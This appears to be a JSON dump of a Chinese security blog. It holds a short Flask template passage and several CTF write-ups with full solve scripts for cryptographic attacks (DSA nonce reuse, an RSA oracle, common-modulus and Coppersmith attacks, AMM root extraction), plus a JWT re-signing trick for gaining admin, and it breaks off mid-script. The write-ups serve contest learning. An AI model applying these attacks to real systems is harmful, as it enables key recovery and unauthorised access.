12345678910111213141516171819202122<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title></head><body>hello<br>{{data}}<br>{{data.name}}<br>{{data["name"]}}<br>mylist:{{data.mylist}}<br>{{data.mylist[2]}}<br>count:{{data.mylist[1] + data.mylist[2]}}</body></html> 13.过滤器就是对模板中的字符进行一些额外函数操作,使其变形为特定格式,即过滤器是对前端进行操作的。比如: 12345678910{{'hello world' | upper}}<br>{{'hello world' | title}}<br>{{'hello_world' | replace('hello','hi')}}显示:HELLO WORLD Hello World hi_world 比如upper就是全大写,title就是每个单词大写,replace就是单词替换。 14.自定义过滤器12345# 自定义过滤器 这里首先自定义一个操作的函数def list_step(li): return li[::2]#注册过滤器 参数一为自定义函数的名字,参数二为你要用的时候的名字app.add_template_filter(list_step,'step') 1{{data.mylist | step}}","categories":[{"name":"开发","slug":"开发","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/"},{"name":"Python","slug":"开发/Python","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/Python/"},{"name":"flask","slug":"开发/Python/flask","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/Python/flask/"}],"tags":[{"name":"开发","slug":"开发","permalink":"http://example.com/tags/%E5%BC%80%E5%8F%91/"},{"name":"flask","slug":"flask","permalink":"http://example.com/tags/flask/"}]},{"title":"SpaceHeroesCTF NSSCTF MidnightSunCTF UMassCTF2022","slug":"SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022","date":"2022-04-04T06:26:36.000Z","updated":"2022-04-11T15:26:26.000Z","comments":true,"path":"2022/04/04/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022/","link":"","permalink":"http://example.com/2022/04/04/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022/","excerpt":"​ 4月初有很多比赛,每个比赛都做了一些题,难题大多是hash师傅教的。","text":"​ 4月初有很多比赛,每个比赛都做了一些题,难题大多是hash师傅教的。 SpaceHeroesCTFEasy Crypto Challenge123456789y^2 = x^3 + ax + ba = 3820149076078175358b = 1296618846080155687modulus = 11648516937377897327G = (4612592634107804164, 6359529245154327104)PubKey = (9140537108692473465, 10130615023776320406)k*G = (7657281011886994152, 10408646581210897023)C = (5414448462522866853, 5822639685215517063)What's the message? 用hellman算法可以解出私钥na,明文为C - na*KG: 1234567891011121314151617181920M = 11648516937377897327A = 3820149076078175358B = 1296618846080155687P = (4612592634107804164, 6359529245154327104)Q = (9140537108692473465, 10130615023776320406)C = (5414448462522866853, 5822639685215517063)C1 = (7657281011886994152, 10408646581210897023)F = FiniteField(M)E = EllipticCurve(F,[A,B])P = E.point(P)Q = E.point(Q)C = E.point(C)C1 = E.point(C1)P_order = P.order()print(P_order) #计算生成元的阶print(factor(P_order))dlog = discrete_log(Q,P,operation="+")print(dlog) #这是私钥nam = C - dlog * C1print(m) NSSCTF Round#1 Basicnumber_by_number12345678910111213141516171819202122232425262728293031323334import hashlibfrom Crypto.Util.number import *from gmpy2 import *FLAG = b'******************'assert FLAG.startswith(b'NSSCTF{') and FLAG.endswith(b'}')FLAG = FLAG[7:-1]def sign(msg, pub, pri, k): (p,q,g,y) = pub x = pri r = int(pow(g, k, p) % q) h = int(hashlib.sha256(msg).digest().hex(),16) s = int((h + x * r) * invert(k, q) % q) return (r, s)p = 12521300600879647215212622604478307167614802603722694432672492518732844280050451647647783544918670551333939947202324314036106883627652934658092246151569719841172139651756731975948641752941369320985906043813128667949407263418091261521078015038472125264708315959943830171678415621896727622381651264882655845219115471323352719455064712014904581019529062436850895982568432772820884304927292484611574315452532539622439874476205201585972439739033662281856954069390915294301650596122027017512657387126870291348326594014789938826560641601265413964203409968207292456857314148848395645091850604205535043035332961436498283695843q = 89333150710898097819726085329049525002843220030438497258487456281988064920981g = 4659169190462665152432024005060362819268084070474399613244522271693166269703240438309526888954293382169994621221386886590606442329876391429681914154130453072540079426475110538234340272617964838185872575922598867083747162403217264242469640383596415974818773608247780785279490355462362699968367544837511541267300331418420849521244364899679912282991493675152166261501255315036943693486335864565853496499243373834189894710718862409646613179068080762011713847012853815796678705445232715083564615906424779193638984542271665075749327914765645357163924702265124479067028868769369414557728443665123548337757950887923116453268x = bytes_to_long(FLAG)y = powmod(g, x, p)pub = (p,q,g,y)pri = xnonce = getPrime(64)print('y =', y)print(sign(b'nssctfround#1', pub, pri, nonce))print(sign(b'nssctfround#1', pub, pri, 12345*nonce + 67890))'''y = 516079379252376231001717898324355848864109868582016554029703521946402522000955354396295307046881971504216991061930299508521161039333927590076006514531946316725453062373440451679354041777376121961468715242703413529070177041819221792817124111175287475946526246377103779752133378942603534385789689950337366490082828044596711426514502752548887337695502949798115745655734033592905036846835127551577851715558217775334831352232997052342694255476534837857477388530834954919414905007702912216496977764789386913244009912368937860550222726279524193115767983754873150853915852619223039800432272818237552774389220137762595332280(81900716895065212453759953296615257914462909922962929287345063257120550453427, 45144894416226080526306932143570511284754744855790908537643986192724824691890)(60471460394555700734359895323450929800168788093422384886037011624642263106556, 74754852228035293908666429128869604520827363733944834534730568060790683199921)''' 分析签名参数,有: nounce = h(m)s1^-1 + rxs1^-1 \\mod q a*nounce+b =h(m)s^-1+r2xs2^-1 \\mod q高斯消元消去nounce以后求逆解出x(flag): 123456789101112131415161718192021222324252627import hashlibfrom Crypto.Util.number import *from gmpy2 import *msg = b'nssctfround#1'h = int(hashlib.sha256(msg).digest().hex(),16)p = 12521300600879647215212622604478307167614802603722694432672492518732844280050451647647783544918670551333939947202324314036106883627652934658092246151569719841172139651756731975948641752941369320985906043813128667949407263418091261521078015038472125264708315959943830171678415621896727622381651264882655845219115471323352719455064712014904581019529062436850895982568432772820884304927292484611574315452532539622439874476205201585972439739033662281856954069390915294301650596122027017512657387126870291348326594014789938826560641601265413964203409968207292456857314148848395645091850604205535043035332961436498283695843q = 89333150710898097819726085329049525002843220030438497258487456281988064920981g = 4659169190462665152432024005060362819268084070474399613244522271693166269703240438309526888954293382169994621221386886590606442329876391429681914154130453072540079426475110538234340272617964838185872575922598867083747162403217264242469640383596415974818773608247780785279490355462362699968367544837511541267300331418420849521244364899679912282991493675152166261501255315036943693486335864565853496499243373834189894710718862409646613179068080762011713847012853815796678705445232715083564615906424779193638984542271665075749327914765645357163924702265124479067028868769369414557728443665123548337757950887923116453268sign1 = (81900716895065212453759953296615257914462909922962929287345063257120550453427, 45144894416226080526306932143570511284754744855790908537643986192724824691890)sign2 = (60471460394555700734359895323450929800168788093422384886037011624642263106556, 74754852228035293908666429128869604520827363733944834534730568060790683199921)r1 = sign1[0]r2 = sign2[0]s1 = sign1[1]s2 = sign2[1]s1_ = invert(s1,q)s2_ = invert(s2,q)a = 12345b = 67890bb = (-a * h * s1_ - b + h * s2_)%qkk = a * r1 * s1_ - r2 * s2_flag = (invert(kk,q) * bb)%qprint(long_to_bytes(flag))# b'43fe-bd64-68b4bc1c4845' MidnightSunCTFpelles_rotor_supported_arithmetic123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#!/usr/bin/python3from sys import stdin, stdout, exitfrom flag import FLAGfrom secrets import randbelowfrom gmpy import next_primep = int(next_prime(randbelow(2**512)))q = int(next_prime(randbelow(2**512)))n = p * qe = 65537phi = (p - 1)*(q - 1)d = int(pow(e, -1, phi))d_len = len(str(d))print("encrypted flag", pow(FLAG, 3331646268016923629, n))stdout.flush()ctr = 0def oracle(c, i): global ctr if ctr > 10 * d_len // 9: print("Come on, that was already way too generous...") return ctr += 1 rotor = lambda d, i: int(str(d)[i % d_len:] + str(d)[:i % d_len]) #对d循环移位,利用这个关键求n和恢复d return int(pow(c, rotor(d, i), n))banner = lambda: stdout.write("""Pelle's Rotor Supported Arithmetic Oracle1) Query the oracle with a ciphertext and rotation value.2) Exit.""")banner()stdout.flush()choices = { 1: oracle, 2: exit}while True: try: choice = stdin.readline() print("c:") stdout.flush() cipher = stdin.readline() print("rot:") stdout.flush() rotation = stdin.readline() print(choices.get(int(choice))(int(cipher), int(rotation))) stdout.flush() except Exception as e: stdout.write("%s\\n" % e) stdout.flush() exit() exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *import gmpy2from tqdm import tqdmp = remote('pelle-01.hfsc.tf', 4591)p.recvuntil(b'encrypted flag ')enc = int(p.recvline()[:-1])p.recvuntil(b'Exit.\\n')p.sendline(b'1')p.recvuntil(b'c:\\n')p.sendline(b'-1')p.recvuntil(b'rot:\\n')p.sendline(b'0')n = int(p.recvline()[:-1]) + 1 #-1 mod n就是n-1t = []for i in tqdm(range(len(str(n)) + 1)):#因为e比较小,所以猜测d和n十进制位数一样 p.sendline(b'1') p.recvuntil(b'c:\\n') p.sendline(b'2') p.recvuntil(b'rot:\\n') p.sendline(str(i).encode()) temp = int(p.recvline()[:-1]) t.append(temp)d = ''for i in range(len(str(n))): t1 = t[i] t2 = t[i + 1] t1 = pow(t1, 10, n) s = t1 * gmpy2.invert(t2, n) % n for j in range(10): if pow(2, j * (10 ** len(str(n)) - 1), n) == s: d += str(j)print(d)e1 = 65537e2 = 3331646268016923629d = int(d, 10)kphi = e1 * d - 1dd = gmpy2.invert(e2, kphi)m = pow(enc, dd, n)print(m)from Crypto.Util.number import *print(long_to_bytes(m)) UMassCTFWeb1考察jwt,因为web学的很少所以第一次见到jwt就顺便学习了一波。 关于jwt:https://blog.csdn.net/weixin_45070175/article/details/118559272 首先题目给了签名接口的git项目地址,去访问发现隐藏了代码,去看提交的history找到所有代码;分析代码找到关键点: 即post的数据会通过该接口签名生成完整的jwt。 第二步,请求get_flag,bp抓包看jwt,base64解码发现user字段是anonymous,要获取flag需要把这个改为admin,但这样之后签名值sign发生改变,所以需要把改为admin之后的header和data base64加密以后和在一起并去掉原来的签名post到服务器让服务器再签一次名(重放),然后拿到之后再把token修改一下提交给服务器获得flag。 quickmath交互题,计算1000次服务器发送的加减乘除,pwntool直接自动化处理: 123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import *# 做1000次加减乘除运算def quickmath(a,n1,n2): if a == '+' or a == "+ ": return n1+n2 elif a == "-" or a == "- ": return n1-n2 elif a == "*" or a == "* ": return n1*n2 else: return n1//n2oi=remote('34.148.103.218',1228)oi.recvuntil(b"!")r1 = oi.recv(15)[3:]r1 = str(r1)print(r1)start = r1.find("'")space = r1.find(" ")n1 = int(r1[start+1:space])a = r1[space+1:space+3]n2 = int(r1[space+3:].replace("n","").replace("\\\\",'').replace("'",'').strip())print(a,n1,n2)an1 = quickmath(a,n1,n2)#有bug,第一次接收的不能是除法print(an1)oi.sendline(str(an1).encode())for i in range(999): print(i) print(oi.recvuntil(b"!")) r2 = oi.recv(15)[1:] r2 = str(r2) print(r2) start1 = r2.find("'") space1 = r2.find(" ") n3 = int(r2[start1+1:space1]) a_ = r2[space1+1:space1+3] n4 = int(r2[space1+3:].replace("n","").replace("\\\\",'').replace("'",'').strip()) an2 = quickmath(a_,n3,n4) print(an2) oi.sendline(str(an2).encode())flag = str(oi.recv(1000))print(flag)","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"SpaceHeroesCTF NSSCTF MidnightSunCTF UMassCTF2022","slug":"赛事/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}]},{"title":"NPUCTF2020-共模攻击","slug":"NPUCTF2020-共模攻击","date":"2022-04-01T03:29:18.000Z","updated":"2022-04-01T04:03:20.000Z","comments":true,"path":"2022/04/01/NPUCTF2020-共模攻击/","link":"","permalink":"http://example.com/2022/04/01/NPUCTF2020-%E5%85%B1%E6%A8%A1%E6%94%BB%E5%87%BB/","excerpt":"​ 题目叫做共模攻击,但实际上考察的更多是copper。","text":"​ 题目叫做共模攻击,但实际上考察的更多是copper。 123456789101112131415161718192021222324# hint.pyfrom gmpy2 import *from Crypto.Util.number import *from secret import hintm = bytes_to_long(hint)p = getPrime(256)c = pow(m, 256, p)print(p)p, q = getPrime(256), getPrime(256)n = p * qe1, e2 = getPrime(32), getPrime(32)c1, c2 = pow(c, e1, n), pow(c, e2, n)print(n)print(e1, c1)print(e2, c2)'''10731697577128434210836295494509648970890030263373452094390528365528331853570968074920062199353352337222320248097844342932931723172828149786889317114239396296822243748702335879699607136383100687844154745350337807727661713204612815792303413961 17544211690361913917173092569380359609129411092068723748264445267330306960568217317081932701517598437808947506966426597954527875473550433453487141292177232622163991 1613454015951555289711148366977297613624544025937559371784736059448454437652633847111272619248126613500028992813732842041018588707201458398726700828844249''' 12345678910111213141516171819202122# task.pyfrom gmpy2 import *from Crypto.Util.number import *from secret import flagflag = flag.strip(b"npuctf{").strip(b"}")m = bytes_to_long(flag)p, q = getPrime(512), getPrime(512)n = p * qe1, e2 = p, qc1, c2 = pow(m, e1, n), pow(m, e2, n)print(n)print(c1)print(c2)'''128205304743751985889679351195836799434324346996129753896234917982647254577214018524580290192396070591032007818847697193260130051396080104704981594190602854241936777324431673564677900773992273463534717009587530152480725448774018550562603894883079711995434332008363470321069097619786793617099517770260029108149968606542352752022173681301950898396080375583888845227375006111212715713351239815888079940438004685290021475706555976106396809777807794948803306694663897884970467103192133762283911380219763889251713077600300584569348987715894358362613172837439516145051368403646387069144244335667820449261116399556124121341989566853166416448316408476072940703716510748416699965603380497338943730666656667456274146023583837768495637484138572090891246105018219222267465595710692705776272469703739932909158740030049375350999465338363044226512016686534246611049299981674236577960786526527933966681954486377462298197949323271904405241585''' ​ 利用共模攻击可以还原hint.py中的信息: 12345678910111213141516171819202122232425262728293031323334353637383940from sympy.ntheory.residue_ntheory import nthroot_modfrom gmpy2 import invertfrom Crypto.Util.number import *def gongmogongji(n: object, c1: object, c2: object, e1: object, e2: object) -> object: def egcd(a, b): if b == 0: return a, 0 else: x, y = egcd(b, a % b) return y, x - (a // b) * y s = egcd(e1, e2) s1 = s[0] s2 = s[1] # 求模反元素 if s1 < 0: s1 = - s1 c1 = invert(c1, n) elif s2 < 0: s2 = - s2 c2 = invert(c2, n) m = pow(c1, s1, n) * pow(c2, s2, n) % n return me1 = 2303413961c1 = 1754421169036191391717309256938035960912941109206872374826444526733030696056821731708193270151759843780894750696642659795452787547355043345348714129217723e2 = 2622163991c2 = 1613454015951555289711148366977297613624544025937559371784736059448454437652633847111272619248126613500028992813732842041018588707201458398726700828844249n = 6807492006219935335233722232024809784434293293172317282814978688931711423939629682224374870233587969960713638310068784415474535033780772766171320461281579c = gongmogongji(n,c1,c2,e1,e2)p = 107316975771284342108362954945096489708900302633734520943905283655283318535709# c为要开根的数,p为模数,256为指数m = nthroot_mod(c,256,p,all_roots=True)for i in m: print (i) hint = long_to_bytes(i) print (hint)# b'm.bit_length() < 400' ​ m的位长度小于400,这个信息暗示后续可能会用到copper。 ​ task.py推导: c1\\equiv m^p (modn) c2\\equiv m^q (modn) c1 modp=m​ c2和c1同理。 (c1-m)(c2-m)=k1k2m c1c2-m(c1+c2)+m^2=k1k2n c1c2-m(c1+c2)+m^2 \\equiv0(modn)​ ​ 知道m的位数,这里就可以用copper。 ​ sage脚本: 12345678n = 128205304743751985889679351195836799434324346996129753896234917982647254577214018524580290192396070591032007818847697193260130051396080104704981594190602854241936777324431673564677900773992273463534717009587530152480725448774018550562603894883079711995434332008363470321069097619786793617099517770260029108149c1 = 96860654235275202217368130195089839608037558388884522737500611121271571335123981588807994043800468529002147570655597610639680977780779494880330669466389788497046710319213376228391138021976388925171307760030058456934898771589435836261317283743951614505136840364638706914424433566782044926111639955612412134198c2 = 9566853166416448316408476072940703716510748416699965603380497338943730666656667456274146023583837768495637484138572090891246105018219222267465595710692705776272469703739932909158740030049375350999465338363044226512016686534246611049299981674236577960786526527933966681954486377462298197949323271904405241585PR.<m> = PolynomialRing(Zmod(n))#modn的多项式环f = m^2-(c1+c2)*m+c1*c2x0 = f.small_roots(X=2^400)print(x0)","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"Copper","slug":"比赛/RSA/Copper","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/Copper/"}],"tags":[{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"Copper","slug":"Copper","permalink":"http://example.com/tags/Copper/"}]},{"title":"GKCTF2021-RRRRsa","slug":"GKCTF2021-RRRRsa","date":"2022-03-31T13:40:19.000Z","updated":"2022-03-31T13:48:26.000Z","comments":true,"path":"2022/03/31/GKCTF2021-RRRRsa/","link":"","permalink":"http://example.com/2022/03/31/GKCTF2021-RRRRsa/","excerpt":"​ 这题可以作为模运算类型的典范了。","text":"​ 这题可以作为模运算类型的典范了。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from Crypto.Util.number import *from gmpy2 import gcdflag = b'xxxxxxxxxxxxx'p = getPrime(512)q = getPrime(512)m = bytes_to_long(flag)n = p*qe = 65537c = pow(m,e,n)print('c={}'.format(c))p1 = getPrime(512)q1 = getPrime(512)n1 = p1*q1e1 = 65537assert gcd(e1,(p1-1)*(q1-1)) == 1c1 = pow(p,e1,n1)print('n1={}'.format(n1))print('c1={}'.format(c1))hint1 = pow(2020 * p1 + q1, 202020, n1)hint2 = pow(2021 * p1 + 212121, q1, n1)print('hint1={}'.format(hint1))print('hint2={}'.format(hint2))p2 = getPrime(512)q2 = getPrime(512)n2 = p2*q2e2 = 65537assert gcd(e1,(p2-1)*(q2-1)) == 1c2 = pow(q,e2,n2)hint3 = pow(2020 * p2 + 2021 * q2, 202020, n2)hint4 = pow(2021 * p2 + 2020 * q2, 212121, n2)print('n2={}'.format(n2))print('c2={}'.format(c2))print('hint3={}'.format(hint3))print('hint4={}'.format(hint4))#c=13492392717469817866883431475453770951837476241371989714683737558395769731416522300851917887957945766132864151382877462142018129852703437240533684604508379950293643294877725773675505912622208813435625177696614781601216465807569201380151669942605208425645258372134465547452376467465833013387018542999562042758#n1=75003557379080252219517825998990183226659117019770735080523409561757225883651040882547519748107588719498261922816865626714101556207649929655822889945870341168644508079317582220034374613066751916750036253423990673764234066999306874078424803774652754587494762629397701664706287999727238636073466137405374927829#c1=68111901092027813007099627893896838517426971082877204047110404787823279211508183783468891474661365139933325981191524511345219830693064573462115529345012970089065201176142417462299650761299758078141504126185921304526414911455395289228444974516503526507906721378965227166653195076209418852399008741560796631569#hint1=23552090716381769484990784116875558895715552896983313406764042416318710076256166472426553520240265023978449945974218435787929202289208329156594838420190890104226497263852461928474756025539394996288951828172126419569993301524866753797584032740426259804002564701319538183190684075289055345581960776903740881951#hint2=52723229698530767897979433914470831153268827008372307239630387100752226850798023362444499211944996778363894528759290565718266340188582253307004810850030833752132728256929572703630431232622151200855160886614350000115704689605102500273815157636476901150408355565958834764444192860513855376978491299658773170270#n2=114535923043375970380117920548097404729043079895540320742847840364455024050473125998926311644172960176471193602850427607899191810616953021324742137492746159921284982146320175356395325890407704697018412456350862990849606200323084717352630282539156670636025924425865741196506478163922312894384285889848355244489#c2=67054203666901691181215262587447180910225473339143260100831118313521471029889304176235434129632237116993910316978096018724911531011857469325115308802162172965564951703583450817489247675458024801774590728726471567407812572210421642171456850352167810755440990035255967091145950569246426544351461548548423025004#hint3=25590923416756813543880554963887576960707333607377889401033718419301278802157204881039116350321872162118977797069089653428121479486603744700519830597186045931412652681572060953439655868476311798368015878628002547540835719870081007505735499581449077950263721606955524302365518362434928190394924399683131242077#hint4=104100726926923869566862741238876132366916970864374562947844669556403268955625670105641264367038885706425427864941392601593437305258297198111819227915453081797889565662276003122901139755153002219126366611021736066016741562232998047253335141676203376521742965365133597943669838076210444485458296240951668402513 ​ 推导: ​ exp: 123456789101112131415161718192021222324from gmpy2 import gcdfrom Crypto.Util.number import *import gmpy2c=13492392717469817866883431475453770951837476241371989714683737558395769731416522300851917887957945766132864151382877462142018129852703437240533684604508379950293643294877725773675505912622208813435625177696614781601216465807569201380151669942605208425645258372134465547452376467465833013387018542999562042758n1=75003557379080252219517825998990183226659117019770735080523409561757225883651040882547519748107588719498261922816865626714101556207649929655822889945870341168644508079317582220034374613066751916750036253423990673764234066999306874078424803774652754587494762629397701664706287999727238636073466137405374927829c1=68111901092027813007099627893896838517426971082877204047110404787823279211508183783468891474661365139933325981191524511345219830693064573462115529345012970089065201176142417462299650761299758078141504126185921304526414911455395289228444974516503526507906721378965227166653195076209418852399008741560796631569hint1=23552090716381769484990784116875558895715552896983313406764042416318710076256166472426553520240265023978449945974218435787929202289208329156594838420190890104226497263852461928474756025539394996288951828172126419569993301524866753797584032740426259804002564701319538183190684075289055345581960776903740881951hint2=52723229698530767897979433914470831153268827008372307239630387100752226850798023362444499211944996778363894528759290565718266340188582253307004810850030833752132728256929572703630431232622151200855160886614350000115704689605102500273815157636476901150408355565958834764444192860513855376978491299658773170270n2=114535923043375970380117920548097404729043079895540320742847840364455024050473125998926311644172960176471193602850427607899191810616953021324742137492746159921284982146320175356395325890407704697018412456350862990849606200323084717352630282539156670636025924425865741196506478163922312894384285889848355244489c2=67054203666901691181215262587447180910225473339143260100831118313521471029889304176235434129632237116993910316978096018724911531011857469325115308802162172965564951703583450817489247675458024801774590728726471567407812572210421642171456850352167810755440990035255967091145950569246426544351461548548423025004hint3=25590923416756813543880554963887576960707333607377889401033718419301278802157204881039116350321872162118977797069089653428121479486603744700519830597186045931412652681572060953439655868476311798368015878628002547540835719870081007505735499581449077950263721606955524302365518362434928190394924399683131242077hint4=104100726926923869566862741238876132366916970864374562947844669556403268955625670105641264367038885706425427864941392601593437305258297198111819227915453081797889565662276003122901139755153002219126366611021736066016741562232998047253335141676203376521742965365133597943669838076210444485458296240951668402513e=65537q1 = gcd(n1,pow(hint2-212121,202020,n1)*pow(2020,202020,n1)-hint1*pow(2021,202020,n1))p1 = n1//q1q2 = gcd(n2,pow(hint3,212121,n2)*pow(2021,202020*212121,n2)-pow(hint4,202020,n2)*pow(2020,202020*212121,n2))p2 = n2//q2d2 = gmpy2.invert(e,(q2-1)*(p2-1))q = pow(c2,d2,n2)d1 = gmpy2.invert(e,(q1-1)*(p1-1))p = pow(c1,d1,n1)d = gmpy2.invert(e,(q-1)*(p-1))m = pow(c,d,p*q)print(long_to_bytes(m))","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"数论或其它","slug":"比赛/RSA/数论或其它","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E6%95%B0%E8%AE%BA%E6%88%96%E5%85%B6%E5%AE%83/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"数论","slug":"数论","permalink":"http://example.com/tags/%E6%95%B0%E8%AE%BA/"}]},{"title":"NISACTF2022","slug":"NISACTF2022","date":"2022-03-28T03:47:02.000Z","updated":"2022-05-30T05:22:42.000Z","comments":true,"path":"2022/03/28/NISACTF2022/","link":"","permalink":"http://example.com/2022/03/28/NISACTF2022/","excerpt":"​ 貌似是个新生赛,但是题出的挺好的,做的几道题只有几个解。","text":"​ 貌似是个新生赛,但是题出的挺好的,做的几道题只有几个解。 xor​ 题目: 123456789101112131415161718192021222324252627282930313233343536import osimport base64from Crypto.Util import number, strxor#from flag import flagflag='xxxxxxxxxxxxxxxxxx'def gen_key(): return [os.urandom(16) for _ in range(8)]def rnd(b: bytes, k: bytes): l = b[:16] r = b[16:] _r = l _l = strxor.strxor(strxor.strxor(r, k), l) return _l + _rdef enc(b: bytes, ks): c = b for i in range(8): c = rnd(c, ks[i]) return cif __name__ == '__main__': a = os.urandom(32) ks = gen_key() enc_a = enc(a, ks) enc_flag = enc(flag.encode(), ks) print(base64.b64encode(a).decode()) print(base64.b64encode(enc_a).decode()) print(base64.b64encode(enc_flag).decode())#i03yXzXWe4QTiwJHlUZo6iqEdDkwJVviSOQ7CM3vJmM=#4EnYOhbivTMP5r4VYLA8cwJBFTXIeeKAoNf/3ctgLLA=#+qyVMEei1eN3YbV/z2kjcaCKngWc2pW2/e7HwpXKaj0= ​ 加密算法为rn = Ln-1 ,Ln = kn ^ Ln ^ rn;并且会以不同的key连续加密八轮。第一想法是要一轮一轮推导,分别求出八轮密钥。但在推导的过程中发现最后的密钥可以看作一个整体: ​ r9 = L1 ^ r1 ^ K1 ​ L9 = r1 ^ K2 ​ 这里K1,K2都是某几轮密钥的异或值。 ​ 那么整个八轮加密就可以看作是第一轮到第九轮结果的一次加密。恢复出K1和K2再对密文求解即可。 123456789101112131415161718192021import base64from Crypto.Util import strxora = "i03yXzXWe4QTiwJHlUZo6iqEdDkwJVviSOQ7CM3vJmM="enc_a = '4EnYOhbivTMP5r4VYLA8cwJBFTXIeeKAoNf/3ctgLLA='a_ = base64.b64decode(a)enc_a_ = base64.b64decode(enc_a)c = base64.b64decode('+qyVMEei1eN3YbV/z2kjcaCKngWc2pW2/e7HwpXKaj0=')r9 = enc_a_[16:]l9 = enc_a_[:16]l1 = a_[:16]r1 = a_[16:]k1 =strxor.strxor(strxor.strxor(r9,l1),r1)k2 = strxor.strxor(l9,r1)r = strxor.strxor(k2,c[:16])l =strxor.strxor(strxor.strxor(k1,c[16:]),r)print(l+r)#3c4e05db6512d51e0a93ae320c0bb69a rrssaa2​ 题目: 123456789101112131415161718192021222324252627from Crypto.Util.number import *import randomimport libnumimport gmpy2def gen(): p = 1801 * random.getrandbits(1012) + 1 while not isPrime(p): p = 1801 * random.getrandbits(1012) + 1 return pp=gen()q=gen()e=1801n=p*qflag='NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'flag=flag+'yhe92871899hihiohh97709ujojl;lhdiwoqu903YE98Y299HDY8W9EYRW8!$$%!$!$FSR@#$@%FSEGDRYERYHRWER@$%^$^DGTW%$^&GRWR@$%@FASFSFQFSTGW#TWGARWQ$@%WGVDSGADQR@%TGVDSFASDATWEGHWE%@$GSDVSFQATY$^#^%@$!RAFSDGDRTW'c = pow(m, e, n)print('e=',e)print('p=',p)print('q=',q)print('c=',c)#e= 1801#p= 49610229352589717245227429186510630298995334563536199979797365135356894947505595171590737127611751124743823204969291853243936699113293137172961540731655194113111189561603261168928406442577570919901769348742992633428864861175880441682752947688509869668929473479230018031647980097396415380123118521799468844841#q= 21081926656979729045764441706195868361643779935106260715219328461497406780587336009385210898093496090213306812904410650499587043699660339207567766840318127296396962037273317168795761421233687815992929975284592353117739413561939283754964442896468496199833988666060155459156116345763999855126020972915904618043#c= 601596145172542477058917394071994325109856881057412872218601643742101914635753765731910337249806643258952637146341530783703613931109366648847232809553067941206928974141651198815184695746636818122414926015513095322872645068410957200062317958684872682628646759817233433643987003499153702624673493727886566639667597997520471371146056861227114668317633291934130573158877960548655006208725827943739971068608175370661619328559766977175575896437656636083179668805135271793023165492681941002853661303072959879197775224449456951125268328000206540965011249895216257583247180682482954741912101069920760903900864428405997751199 ​ 直接给了p,q,e,肯定没有那么简单,发现e和phi不互素,准确来说e是p-1和q-1的因子。这就需要用到amm算法:https://www.anquanke.com/post/id/262634 ​ exp: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112#sage脚本import timefrom sage.all import *# About 3 seconds to rundef AMM(o, r, q): start = time.time() print('\\n----------------------------------------------------------------------------------') print('Start to run Adleman-Manders-Miller Root Extraction Method') print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q)) g = GF(q) o = g(o) p = g(randint(1, q)) while p ^ ((q - 1) // r) == 1: p = g(randint(1, q)) print('[+] Find p:{}'.format(p)) t = 0 s = q - 1 while s % r == 0: t += 1 s = s // r print('[+] Find s:{}, t:{}'.format(s, t)) k = 1 while (k * s + 1) % r != 0: k += 1 alp = (k * s + 1) // r print('[+] Find alp:{}'.format(alp)) a = p ^ (r ** (t - 1) * s) b = o ^ (r * alp - 1) c = p ^ s h = 1 for i in range(1, t): d = b ^ (r ^ (t - 1 - i)) if d == 1: j = 0 else: print('[+] Calculating DLP...') j = - discrete_log(a, d) print('[+] Finish DLP...') b = b * (c ^ r) ^ j h = h * c ^ j c = c ^ r result = o ^ alp * h end = time.time() print("Finished in {} seconds.".format(end - start)) print('Find one solution: {}'.format(result)) return resultdef findAllPRoot(p, e): print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p)) start = time.time() proot = set() while len(proot) < e: proot.add(pow(randint(2, p - 1), (p - 1) // e, p)) end = time.time() print("Finished in {} seconds.".format(end - start)) return prootdef findAllSolutions(mp, proot, cp, p): print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p)) start = time.time() all_mp = set() for root in proot: mp2 = mp * root % p assert (pow(mp2, e, p) == cp) all_mp.add(mp2) end = time.time() print("Finished in {} seconds.".format(end - start)) return all_mpe= 1801p= 49610229352589717245227429186510630298995334563536199979797365135356894947505595171590737127611751124743823204969291853243936699113293137172961540731655194113111189561603261168928406442577570919901769348742992633428864861175880441682752947688509869668929473479230018031647980097396415380123118521799468844841q= 